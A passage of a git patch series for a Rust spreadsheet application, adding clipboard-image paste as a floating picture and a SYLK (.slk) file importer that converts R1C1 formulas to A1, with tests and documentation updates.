Err("The picture on the clipboard is too large to paste.".into()); + } + let mut png = Vec::new(); + image + .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) + .map_err(|e| format!("The picture on the clipboard can't be pasted: {e}"))?; + Ok(png) +} diff --git a/crates/ui-egui/src/grid/keyboard.rs b/crates/ui-egui/src/grid/keyboard.rs index b8823d570..d70296588 100644 --- a/crates/ui-egui/src/grid/keyboard.rs +++ b/crates/ui-egui/src/grid/keyboard.rs @@ -51,11 +51,9 @@ pub(super) fn keyboard(app: &mut SheetApp, ctx: &egui::Context, resp: &egui::Res app.copy_to_clipboard(ctx, "edit.cut"); } egui::Event::Paste(text) => app.paste_external(text), - // GridCraft has no image-clipboard pipeline and no cell-picture insert-from-clipboard - // command. Choosing to ignore `PasteImage` is explicit: inserting the bytes as a - // floating picture without a chosen anchor/size would be a new feature, not parity. - // A text representation, when the clipboard has one, still arrives as `Paste` above. - egui::Event::PasteImage(_) => {} + // A picture with no text on the clipboard (a screenshot, a browser image) is pasted as + // a floating picture at the active cell, as Excel does. + egui::Event::PasteImage(image) => app.paste_color_image(&image), // PRIMARY middle-click paste belongs to egui's TextEdit; the grid has no caret to // insert text at, so a middle click on a cell is deliberately not a paste. egui::Event::MiddleClickPaste { .. } => {} diff --git a/crates/ui-egui/src/services.rs b/crates/ui-egui/src/services.rs index 748e23ab3..20b8da851 100644 --- a/crates/ui-egui/src/services.rs +++ b/crates/ui-egui/src/services.rs @@ -32,6 +32,9 @@ pub struct Services { /// gets it from egui's `Event::Paste`). `None` from the host, or no service (web), pastes /// GridCraft's own clipboard. pub paste_text: Option Option>>, + /// Read the picture on the system clipboard for the ribbon and menu Paste commands when it + /// holds no text (Cmd/Ctrl+V gets it from egui's `Event::PasteImage`). + pub paste_image: Option Option>>, /// Web: deliver a file to the user (name, bytes). pub download: Option, /// Web: start an asynchronous file pick; the bytes arrive later in `inbox`. diff --git a/crates/ui-egui/tests/it/clipboard.rs b/crates/ui-egui/tests/it/clipboard.rs index be1983b61..ee52dc162 100644 --- a/crates/ui-egui/tests/it/clipboard.rs +++ b/crates/ui-egui/tests/it/clipboard.rs @@ -482,3 +482,71 @@ fn the_cut_text_pastes_again_once_the_clipboard_has_held_other_text() { h.run_steps(2); assert_eq!(value_at(&h, "H1"), Some(Value::from("Name")), "the same text copied afresh pastes"); } + +/// The floating pictures on the active sheet: (anchor cell, width, height, mime). +fn pictures(h: &Harness) -> Vec<(String, f32, f32, String)> { + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + sh.images.iter().map(|i| (i.anchor.cell.a1(), i.anchor.width, i.anchor.height, i.mime.clone())).collect() +} + +#[test] +fn cmd_v_with_a_picture_on_the_clipboard_inserts_it_at_the_active_cell() { + // A screenshot or a browser image: the clipboard has pixels and no text (#699, #3018, #3182). + let mut h = harness(Services::default()); + h.state_mut().run("selection.set", json!({"cell": "C5"})).unwrap(); + let image = egui::ColorImage::new([4, 3], vec![egui::Color32::from_rgb(200, 30, 30); 12]); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(image))); + h.run_steps(2); + assert!(h.state().message.is_none(), "{:?}", h.state().message); + assert_eq!(pictures(&h), vec![("C5".to_string(), 4.0, 3.0, "image/png".to_string())]); + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + let png = image::load_from_memory(&sh.images[0].data).unwrap().to_rgba8(); + assert_eq!(png.get_pixel(3, 2).0, [200, 30, 30, 255], "the pixels survive the PNG round trip"); + + // One undo step removes it. + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert!(pictures(&h).is_empty()); +} + +#[test] +fn a_malformed_clipboard_picture_is_refused_without_inserting() { + let mut h = harness(Services::default()); + let mut image = egui::ColorImage::new([4, 3], vec![egui::Color32::WHITE; 12]); + image.pixels.truncate(5); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(image))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); + assert!(h.state().message.is_some(), "the user is told the paste failed"); + + dismiss(&mut h); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(egui::ColorImage::new([0, 0], Vec::new())))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); +} + +#[test] +fn ribbon_paste_pastes_a_clipboard_picture_when_there_is_no_text() { + let reads = Rc::new(RefCell::new(0)); + let count = reads.clone(); + let (_, mut services) = system_clipboard(""); + services.paste_image = Some(Box::new(move || { + *count.borrow_mut() += 1; + Some(image::RgbaImage::from_pixel(5, 2, image::Rgba([0, 0, 255, 255]))) + })); + let mut h = harness(services); + h.state_mut().run("selection.set", json!({"cell": "B7"})).unwrap(); + click_paste(&mut h); + assert_eq!(*reads.borrow(), 1); + assert_eq!(pictures(&h), vec![("B7".to_string(), 5.0, 2.0, "image/png".to_string())]); +} + +#[test] +fn ribbon_paste_prefers_clipboard_text_over_a_picture() { + let (_, mut services) = system_clipboard("words"); + services.paste_image = Some(Box::new(|| Some(image::RgbaImage::new(1, 1)))); + let mut h = harness(services); + h.state_mut().run("selection.set", json!({"cell": "D2"})).unwrap(); + click_paste(&mut h); + assert_eq!(value_at(&h, "D2"), Some(Value::from("words"))); + assert!(pictures(&h).is_empty()); +} diff --git a/docs/cell-pictures.md b/docs/cell-pictures.md index 586615422..1257476c5 100644 --- a/docs/cell-pictures.md +++ b/docs/cell-pictures.md @@ -17,9 +17,10 @@ The command API accepts the same placement: {"command":"insert.picture","params":{"path":"picture.png","placement":"cell","at":"B2","alt":"Product photo"}} ``` -This initial feature handles static pictures. Pasting an image from the operating system's -clipboard, converting between floating and cell pictures, and the `IMAGE()` function remain -separate work. Formula references and arithmetic do not carry pictures: the calculation +This initial feature handles static pictures. A picture on the operating system's clipboard (a +screenshot, an image copied in a browser) pastes with Cmd/Ctrl+V or Paste as a floating picture +at the active cell, as in Excel. Pasting it into a cell, converting between floating and cell +pictures, and the `IMAGE()` function remain separate work. Formula references and arithmetic do not carry pictures: the calculation engine uses a `#VALUE!` fallback, including when a picture is referenced from another cell. Text-only exports also use that fallback. The picture cell still counts as occupied and blocks a formula's spill range. diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..76ecc39e0 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (a picture on the system clipboard pastes as a floating picture at the active cell with Cmd/Ctrl+V or Paste (#699); earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -308,6 +308,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 2026-10-12 | minor | Ctrl+wheel zoom steps along a ladder of percentages about 20% apart that never skips 100%, gliding to each step with animations on, so a notch out undoes a notch in (it drifted: 100 → 122 → 101); Excel steps 15 points, see decisions.md | | 2026-10-12 | minor | Page Layout view: left/right/top/bottom margins are dragged on the rulers (#792) | | 2026-10-12 | minor | Alt+Down opens the active filter header's existing popup, with validation priority and mirrored anchoring on right-to-left sheets (part of #441) | +| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | | 2026-10-12 | minor | Paste from the ribbon (button and options menu), the cell and header context menus and the macOS menu bar's Edit menu pastes what is on the system clipboard, as Cmd/Ctrl+V does, instead of only GridCraft's own copy (the web build, which can't read the clipboard on request, still pastes GridCraft's copy). Copy and Cut by keytip (H,C / H,X) publish to the system clipboard like the ribbon buttons. After a control-channel or MCP copy, which leaves the system clipboard alone, Paste pastes that copy until other text is copied. Once a cut has been pasted, Paste (ribbon, menus or Cmd/Ctrl+V) doesn't paste the cut's clipboard text again over the moved cells (Excel pastes a cut once), and the Paste keytip (H,V,P) pastes the system clipboard like the button. Regression test for the Paste button click freeze in 0.5.0 (#273, fixed by #272); the Paste button gets an accessible "Paste" name for screen readers | | 2026-10-11 | minor | Ribbon: scroll arrows on a tab wider than the window, Formulas › AutoSum as a split button with its function menu, View › Show in two columns so Headings is no longer cut off | | 2026-10-11 | minor | Theme tokens for icon, reference, on-accent and sheet-control colours; WCAG 2 contrast test over both themes (dark danger red and selected header text adjusted) | From 94b4f6a3a21fc9192ad41766820d927ff55e3b3c Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 02:50:10 -0600 Subject: [PATCH 105/167] #1481: open SYLK (.slk) files A small reader for the SYLK text format: cell values (numbers, text, booleans, errors), formulas converted from R1C1 to A1 as Excel does (relative/absolute references, ranges, whole rows and columns, shared formulas) with their cached results, number formats (P / F;P) and column widths (F;W). Import only; saving as .slk says so. The sheet is named after the file, and damaged records are skipped with a warning. Co-Authored-By: Claude Opus 5.5 --- apps/gridcraft-web/src/web.rs | 2 +- apps/gridcraft/src/main.rs | 2 +- crates/engine/src/io.rs | 15 +- crates/engine/src/io/sylk.rs | 323 ++++++++++++++++++++++++++++++++++ crates/engine/src/io/tests.rs | 78 ++++++++ docs/file-format-parity.md | 6 +- docs/gaps.md | 2 +- 7 files changed, 422 insertions(+), 6 deletions(-) create mode 100644 crates/engine/src/io/sylk.rs diff --git a/apps/gridcraft-web/src/web.rs b/apps/gridcraft-web/src/web.rs index 10e17dc44..33dc84936 100644 --- a/apps/gridcraft-web/src/web.rs +++ b/apps/gridcraft-web/src/web.rs @@ -193,7 +193,7 @@ fn services(inbox: Inbox, ctx: egui::Context) -> Services { let ctx = ctx.clone(); wasm_bindgen_futures::spawn_local(async move { let Some(file) = rfd::AsyncFileDialog::new() - .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) + .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"]) .pick_file() .await else { diff --git a/apps/gridcraft/src/main.rs b/apps/gridcraft/src/main.rs index 3aab1ccfc..d75fe702b 100644 --- a/apps/gridcraft/src/main.rs +++ b/apps/gridcraft/src/main.rs @@ -167,7 +167,7 @@ fn services() -> Services { paste_text: Some(Box::new(move || read_clipboard(&text_clipboard, |clipboard| clipboard.get_text()))), pick_open: Some(Box::new(|| { rfd::FileDialog::new() - .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "json"]) + .add_filter("Spreadsheets", &["xlsx", "xlsm", "xls", "xlsb", "ods", "csv", "tsv", "txt", "slk", "json"]) .add_filter("Excel Workbook", &["xlsx", "xlsm"]) .add_filter("Excel 97-2003 Workbook (import)", &["xls"]) .add_filter("Excel Binary Workbook (data import)", &["xlsb"]) diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index ce1fb40b0..1382ecd07 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -1,4 +1,4 @@ -//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, CSV/TSV, JSON (debug), HTML export. +//! Opening and saving files: XLSX, legacy XLS import, XLSB and ODS data import, SYLK import, CSV/TSV, JSON (debug), HTML export. use std::fmt::Write as _; @@ -7,6 +7,8 @@ use gridcraft_model::{Sheet, Workbook}; use crate::{EngineError, Result}; +mod sylk; + /// File formats GridCraft reads or writes. #[derive(Clone, Copy, Debug, PartialEq, Eq)] pub enum FileKind { @@ -19,6 +21,8 @@ pub enum FileKind { Tsv, Json, Html, + /// SYLK symbolic link text (import only). + Sylk, } impl FileKind { @@ -33,6 +37,7 @@ impl FileKind { "tsv" | "tab" | "txt" => FileKind::Tsv, "json" | "scjson" => FileKind::Json, "html" | "htm" => FileKind::Html, + "slk" => FileKind::Sylk, _ => return None, }) } @@ -310,6 +315,11 @@ fn read_plain(name: &str, bytes: &[u8], csv_as_text: bool) -> Result<(Workbook, } Ok((wb, warnings)) } + Some(FileKind::Sylk) => { + let (mut wb, warnings) = sylk::read(name, bytes)?; + rename_first_sheet(&mut wb, name); + Ok((wb, warnings)) + } Some(FileKind::Tsv) => { let opts = gridcraft_xlsx::CsvOptions { delimiter: b'\t', parse_values: !csv_as_text, ..Default::default() }; let (mut wb, report) = gridcraft_xlsx::read_csv_with_report(bytes, &opts).map_err(|e| EngineError::Other(e.to_string()))?; @@ -389,6 +399,9 @@ pub fn save_bytes_as(wb: &Workbook, path: &str, kind: FileKind) -> Result Err(EngineError::Other("XLSB is supported for data import only. Save as .xlsx or another supported export format.".into())), FileKind::Ods => Err(EngineError::Other("ODS is supported for data import only. Save as .xlsx or another supported export format.".into())), + FileKind::Sylk => { + Err(EngineError::Other("SYLK (.slk) is supported for import only. Save as .xlsx or another supported export format.".into())) + } // A workbook read from CSV keeps the separator it was read with (a `;` file stays `;`). FileKind::Csv => wb.sheet(sheet).map(|sh| csv(wb, sh, wb.csv_delimiter.unwrap_or(b','))).transpose().map(Option::unwrap_or_default), FileKind::Tsv => wb.sheet(sheet).map(|sh| csv(wb, sh, b'\t')).transpose().map(Option::unwrap_or_default), diff --git a/crates/engine/src/io/sylk.rs b/crates/engine/src/io/sylk.rs new file mode 100644 index 000000000..9d8765783 --- /dev/null +++ b/crates/engine/src/io/sylk.rs @@ -0,0 +1,323 @@ +//! SYLK (`.slk`) import: the symbolic link text format older spreadsheets and some legacy systems +//! export. One record per line, fields separated by `;` (`;;` is a literal semicolon): +//! +//! - `ID` starts the file; `E` ends it. +//! - `C;Y;X;K;E` is a cell. `Y` and `X` may be left out to stay on the +//! current row or column. `K` is a number, `"text"`, `TRUE`/`FALSE` or an error; `E` is a +//! formula in R1C1 notation; `S;R;C` shares the formula of another cell. +//! - `P;P` adds a number format to the file's list; `F;P;Y;X` gives a cell the +//! n-th format (0-based), and `F;W ` sets column widths in characters. +//! +//! Other records (fonts, options, window settings) are skipped. Formulas are converted to A1 with +//! the same relative and absolute references, as Excel does when it opens the file. + +use std::collections::HashMap; +use std::sync::Arc; + +use gridcraft_core::{CellError, CellRef, MAX_COLS, MAX_ROWS, Value, col_to_letters}; +use gridcraft_model::{Cell, Formula, NumFmt, Sheet, Style, Workbook}; + +use crate::{EngineError, Result}; + +/// The largest SYLK file read, as for other text imports: past it the file is refused. +const MAX_BYTES: usize = 512 << 20; + +/// Reads a SYLK file into a one-sheet workbook. Returns the workbook and its warnings. +pub fn read(name: &str, bytes: &[u8]) -> Result<(Workbook, Vec)> { + if bytes.len() > MAX_BYTES { + return Err(EngineError::Other(format!("We can't open '{name}': the SYLK file is larger than {} MB.", MAX_BYTES >> 20))); + } + let text = match std::str::from_utf8(bytes) { + Ok(s) => s.to_string(), + // Older exports are in a single-byte code page: keep each byte as its Latin-1 character. + Err(_) => bytes.iter().map(|&b| char::from(b)).collect(), + }; + let text = text.strip_prefix('\u{feff}').unwrap_or(&text); + if !text.starts_with("ID") { + return Err(EngineError::Other(format!("We can't open '{name}': it isn't a SYLK file (it doesn't start with an ID record)."))); + } + let mut sheet = Sheet::new("Sheet1"); + let mut formats: Vec = Vec::new(); + // Cells' number formats by index into `formats`, applied once every format is known. + let mut cell_formats: Vec<(CellRef, usize)> = Vec::new(); + let mut formulas: HashMap = HashMap::new(); + let mut widths: Vec<(u32, u32, f64)> = Vec::new(); + let (mut row, mut col) = (0u32, 0u32); + let mut skipped = 0usize; + for line in text.lines() { + let fields = split_fields(line); + let Some((kind, rest)) = fields.split_first() else { continue }; + match kind.as_str() { + "C" => { + let (mut value, mut formula, mut shared) = (None, None, None::<(Option, Option)>); + let mut bad = false; + for f in rest { + let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8)); + match tag { + "Y" => match position(arg, MAX_ROWS) { + Some(r) => row = r, + None => bad = true, + }, + "X" => match position(arg, MAX_COLS) { + Some(c) => col = c, + None => bad = true, + }, + "K" => value = Some(parse_value(arg)), + "E" => formula = Some(arg.to_string()), + "S" => shared = Some((None, None)), + // In a shared-formula cell, R and C name the cell whose formula it shares. + "R" if shared.is_some() => shared = shared.map(|(_, c)| (position(arg, MAX_ROWS), c)), + "C" if shared.is_some() => shared = shared.map(|(r, _)| (r, position(arg, MAX_COLS))), + _ => {} + } + } + if bad { + skipped += 1; + continue; + } + let at = CellRef::new(row, col); + if let Some((Some(r), Some(c))) = shared { + formula = formulas.get(&CellRef::new(r, c)).cloned(); + } + let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty)); + if let Some(v) = value { + cell.value = v; + } + if let Some(r1c1) = formula { + let a1 = r1c1_formula_to_a1(&r1c1, at); + let f = Formula::new(&a1); + if f.expr.is_some() { + cell.formula = Some(Arc::new(f)); + formulas.insert(at, r1c1); + } else { + skipped += 1; + } + } + sheet.set_cell(at, cell); + } + "F" => { + let mut format = None; + for f in rest { + let (tag, arg) = f.split_at(f.chars().next().map_or(0, char::len_utf8)); + match tag { + "Y" => row = position(arg, MAX_ROWS).unwrap_or(row), + "X" => col = position(arg, MAX_COLS).unwrap_or(col), + "P" => format = arg.parse::().ok(), + "W" => { + let mut parts = arg.split_whitespace(); + if let (Some(first), Some(last), Some(width)) = (parts.next(), parts.next(), parts.next()) + && let (Some(first), Some(last), Ok(width)) = + (position(first, MAX_COLS), position(last, MAX_COLS), width.parse::()) + && first <= last + && (0.0..=255.0).contains(&width) + { + widths.push((first, last, width)); + } + } + _ => {} + } + } + if let Some(format) = format { + cell_formats.push((CellRef::new(row, col), format)); + } + } + // Number formats only: `P;F…` and `P;E…` are fonts. + "P" => { + if let Some(code) = rest.first().and_then(|f| f.strip_prefix('P')) { + formats.push(code.to_string()); + } + } + "E" => break, + _ => {} + } + } + for (first, last, width) in widths { + let size = crate::cmd::format::chars_to_points(width) as f32; + for c in first..=last { + sheet.cols.entry(c).or_default().size = Some(size); + } + } + let mut wb = Workbook::new(); + let mut styles = HashMap::new(); + for (at, index) in cell_formats { + let Some(code) = formats.get(index).filter(|code| !code.is_empty() && *code != "General") else { continue }; + let style = *styles.entry(index).or_insert_with(|| wb.styles.intern(Style { num_fmt: NumFmt(Arc::from(code.as_str())), ..Style::default() })); + let mut cell = sheet.cell(at).cloned().unwrap_or_else(|| Cell::value(Value::Empty)); + cell.style = style; + sheet.set_cell(at, cell); + } + if let Some(first) = wb.sheet_mut(0) { + sheet.name = std::mem::take(&mut first.name); + *first = sheet; + } + let mut warnings = Vec::new(); + if skipped > 0 { + warnings.push(format!("{name}: {skipped} SYLK records GridCraft couldn't read were skipped")); + } + Ok((wb, warnings)) +} + +/// A record's fields: `;` separates them and `;;` is a literal semicolon. +fn split_fields(line: &str) -> Vec { + let mut fields = vec![String::new()]; + let mut chars = line.trim_end_matches('\r').chars().peekable(); + while let Some(c) = chars.next() { + if c == ';' { + if chars.peek() == Some(&';') { + chars.next(); + if let Some(f) = fields.last_mut() { + f.push(';'); + } + } else { + fields.push(String::new()); + } + } else if let Some(f) = fields.last_mut() { + f.push(c); + } + } + fields +} + +/// A 1-based row or column number → 0-based, within `max`. +fn position(arg: &str, max: u32) -> Option { + arg.trim().parse::().ok().filter(|n| (1..=max).contains(n)).map(|n| n - 1) +} + +/// A `K` value: `"text"` (everything between the first and the last quote, as written), a +/// boolean, an error or a number. +fn parse_value(arg: &str) -> Value { + if let Some(text) = arg.strip_prefix('"') { + let text = text.strip_suffix('"').unwrap_or(text); + return Value::Text(Arc::from(text)); + } + if arg.eq_ignore_ascii_case("TRUE") || arg.eq_ignore_ascii_case("FALSE") { + return Value::Bool(arg.eq_ignore_ascii_case("TRUE")); + } + if let Some(e) = CellError::parse(arg) { + return Value::Error(e); + } + match arg.trim().parse::() { + Ok(n) if n.is_finite() => Value::Number(n), + _ => Value::Text(Arc::from(arg)), + } +} + +/// One part of an R1C1 reference: `R`/`C` followed by an absolute number, a bracketed offset or +/// nothing (the cell's own row or column). +#[derive(Clone, Copy, Debug, PartialEq)] +enum Part { + Absolute(u32), + Relative(i64), +} + +impl Part { + /// The 0-based index and whether it is absolute, or `None` when it falls off the sheet. + fn resolve(self, base: u32, max: u32) -> Option<(u32, bool)> { + match self { + Part::Absolute(n) => (1..=max).contains(&n).then(|| (n - 1, true)), + Part::Relative(k) => u32::try_from(i64::from(base) + k).ok().filter(|v| *v < max).map(|v| (v, false)), + } + } +} + +/// Parses the number after `R` or `C` at `i`: digits, `[offset]` or nothing. Returns the part and +/// the index after it, or `None` when the text isn't a reference part. +fn parse_part(chars: &[char], i: usize) -> Option<(Part, usize)> { + match chars.get(i) { + Some('[') => { + let close = chars[i..].iter().position(|&c| c == ']')? + i; + let inner: String = chars[i + 1..close].iter().collect(); + Some((Part::Relative(inner.parse().ok()?), close + 1)) + } + Some(c) if c.is_ascii_digit() => { + let end = chars[i..].iter().position(|c| !c.is_ascii_digit()).map_or(chars.len(), |p| p + i); + let n: String = chars[i..end].iter().collect(); + Some((Part::Absolute(n.parse().unwrap_or(u32::MAX)), end)) + } + _ => Some((Part::Relative(0), i)), + } +} + +fn is_word_char(c: char) -> bool { + c.is_alphanumeric() || matches!(c, '_' | '.' | '\\' | '?' | '$') +} + +/// Rewrites the R1C1 references in a SYLK formula as A1 references for the cell at `at`: +/// `RC[-1]` → `B2`, `R1C1` → `$A$1`, `R[-2]C:R[-1]C` → `D2:D3`, a whole column `C4` → `$D:$D` and +/// a whole row `R3` → `$3:$3`. Text in quotes and quoted sheet names are left alone; a reference +/// off the sheet becomes `#REF!`. +pub(crate) fn r1c1_formula_to_a1(formula: &str, at: CellRef) -> String { + let chars: Vec = formula.chars().collect(); + let mut out = String::with_capacity(formula.len()); + let mut i = 0; + while i < chars.len() { + let c = chars[i]; + if c == '"' || c == '\'' { + // Copy the quoted run as it is; a doubled quote stays inside it. + let mut j = i + 1; + while j < chars.len() && !(chars[j] == c && chars.get(j + 1) != Some(&c)) { + j += if chars[j] == c { 2 } else { 1 }; + } + let stop = (j + 1).min(chars.len()); + out.extend(&chars[i..stop]); + i = stop; + continue; + } + let starts_word = i == 0 || !is_word_char(chars[i - 1]); + if starts_word + && matches!(c, 'R' | 'r' | 'C' | 'c') + && let Some((text, next)) = reference_at(&chars, i, at) + { + out.push_str(&text); + i = next; + continue; + } + // Copy the rest of a word as it is, so `ROUND` or `Sheet2` isn't read as a reference. + if is_word_char(c) { + let end = (i..chars.len()).find(|&j| !is_word_char(chars[j])).unwrap_or(chars.len()); + out.extend(&chars[i..end]); + i = end; + } else { + out.push(c); + i += 1; + } + } + out +} + +/// The A1 text of the R1C1 reference starting at `i`, and the index after it, or `None` when the +/// word there isn't a reference (a function or a name). +fn reference_at(chars: &[char], i: usize, at: CellRef) -> Option<(String, usize)> { + let mut j = i; + let mut row = None; + let mut col = None; + if matches!(chars.get(j), Some('R' | 'r')) { + let (part, next) = parse_part(chars, j + 1)?; + row = Some(part); + j = next; + } + if matches!(chars.get(j), Some('C' | 'c')) { + let (part, next) = parse_part(chars, j + 1)?; + col = Some(part); + j = next; + } + if row.is_none() && col.is_none() { + return None; + } + // A reference ends the word: `ROUND(`, `RATE` or `R2D2` are names. + if chars.get(j).is_some_and(|&c| is_word_char(c) || c == '(' || c == '[' || c == '!') { + return None; + } + let row_text = |p: Part| p.resolve(at.row, MAX_ROWS).map(|(r, abs)| format!("{}{}", if abs { "$" } else { "" }, r + 1)); + let col_text = |p: Part| p.resolve(at.col, MAX_COLS).map(|(c, abs)| format!("{}{}", if abs { "$" } else { "" }, col_to_letters(c))); + // One side of a range (`R2:R4`, `C1:C3`) is written alone; a lone row or column is the whole of it. + let prev = chars[..i].iter().rev().find(|c| !c.is_whitespace()); + let in_range = prev == Some(&':') || chars[j..].iter().find(|c| !c.is_whitespace()) == Some(&':'); + let text = match (row, col) { + (Some(r), Some(c)) => row_text(r).zip(col_text(c)).map(|(r, c)| format!("{c}{r}")), + (Some(r), None) => row_text(r).map(|r| if in_range { r } else { format!("{r}:{r}") }), + (None, Some(c)) => col_text(c).map(|c| if in_range { c } else { format!("{c}:{c}") }), + (None, None) => None, + }; + Some((text.unwrap_or_else(|| "#REF!".into()), j)) +} diff --git a/crates/engine/src/io/tests.rs b/crates/engine/src/io/tests.rs index 9051c5c09..9e2adea32 100644 --- a/crates/engine/src/io/tests.rs +++ b/crates/engine/src/io/tests.rs @@ -604,3 +604,81 @@ fn opening_google_sheets_export_unwraps_only_formulas_gridcraft_calculates() { assert_eq!(text("A2").as_deref(), Some("IFERROR(__XLUDF.DUMMYFUNCTION(\"GOOGLETRANSLATE(\"\"hi\"\",\"\"en\"\",\"\"fr\"\")\"),\"salut\")")); assert_eq!(opened.sheets[0].cells.get(CellRef::parse("A2").unwrap()).map(|c| c.value.clone()), Some(Value::text("salut"))); } + +/// A small SYLK file written the way spreadsheets export one: a header, number formats, column +/// widths, cells that carry on from the last row or column, formulas in R1C1 and a shared formula. +const SYLK: &str = "ID;PTEST;N;E\r\nP;PGeneral\r\nP;P0.00\r\nP;Pyyyy\\-mm\\-dd\r\nF;W1 1 18\r\nF;W2 3 9\r\nB;Y5;X7\r\n\ +C;Y1;X1;K\"Item\"\r\nC;X2;K\"Qty\"\r\nC;X4;K\"Total\"\r\n\ +C;Y2;X1;K\"Bolts;; small\"\r\nC;X2;K12\r\nF;P1;F$2G;X3\r\nC;X3;K0.35\r\nC;X4;K4.2;ERC[-2]*RC[-1]\r\n\ +C;X5;K52;ER2C2+R[1]C[-3]\r\nC;X6;KTRUE\r\nC;X7;K8.4;ERC[-3]*2\r\n\ +C;Y3;X1;K\"Nuts \"\"hex\"\"\"\r\nC;X2;K40\r\nC;X3;K0.12\r\nC;X4;K4.8;ERC[-2]*RC[-1]\r\nC;X5;K\"big\";EIF(R4C4>5,\"big\",\"small\")\r\nC;X7;K9.6;S;R2;C7\r\n\ +C;Y4;X1;K\"Sum\"\r\nC;X4;K9;ESUM(R[-2]C:R[-1]C)\r\nC;X5;K#DIV/0!;E1/0\r\nC;X7;K18;ESUM(C4)\r\n\ +F;P2;FG0G;Y5;X2\r\nC;Y5;X2;K45000\r\nC;X3;K\"R2C3\";E\"R2C3\"\r\nE\r\n"; + +#[test] +fn sylk_files_open_with_values_formulas_formats_and_widths() { + let (wb, warnings) = open_bytes("Parts list.slk", SYLK.as_bytes()).unwrap(); + assert!(warnings.is_empty(), "{warnings:?}"); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.name, "Parts list", "the sheet is named after the file"); + let at = |a: &str| CellRef::parse(a).unwrap(); + let formula = |a: &str| sh.cell(at(a)).and_then(|c| c.formula.as_ref()).map(|f| f.text.clone()); + let text = |s: &str| gridcraft_core::Value::Text(s.into()); + assert_eq!(sh.value(at("A1")), text("Item")); + assert_eq!(sh.value(at("A2")), text("Bolts; small"), ";; is a semicolon"); + assert_eq!(sh.value(at("A3")), text("Nuts \"\"hex\"\""), "text is kept between the outer quotes as written"); + assert_eq!(sh.value(at("B2")), gridcraft_core::Value::Number(12.0)); + assert_eq!(sh.value(at("F2")), gridcraft_core::Value::Bool(true)); + assert_eq!(sh.value(at("E4")), gridcraft_core::Value::Error(gridcraft_core::CellError::Div0)); + assert_eq!(sh.value(at("D4")), gridcraft_core::Value::Number(9.0), "a formula keeps the value the file cached"); + assert_eq!(formula("D2").as_deref(), Some("B2*C2")); + assert_eq!(formula("E2").as_deref(), Some("$B$2+B3")); + assert_eq!(formula("E3").as_deref(), Some("IF($D$4>5,\"big\",\"small\")")); + assert_eq!(formula("D4").as_deref(), Some("SUM(D2:D3)")); + assert_eq!(formula("G3").as_deref(), Some("D3*2"), "a shared formula is the other cell's, moved"); + assert_eq!(formula("G4").as_deref(), Some("SUM($D:$D)"), "C4 alone is the whole column"); + assert_eq!(formula("C5").as_deref(), Some("\"R2C3\""), "text in quotes isn't a reference"); + // `F;P1;X3` formats the cell on the current row only. + let fmt = |a: &str| wb.styles.get(sh.style_id(at(a))).num_fmt.0.to_string(); + assert_eq!(fmt("C2"), "0.00"); + 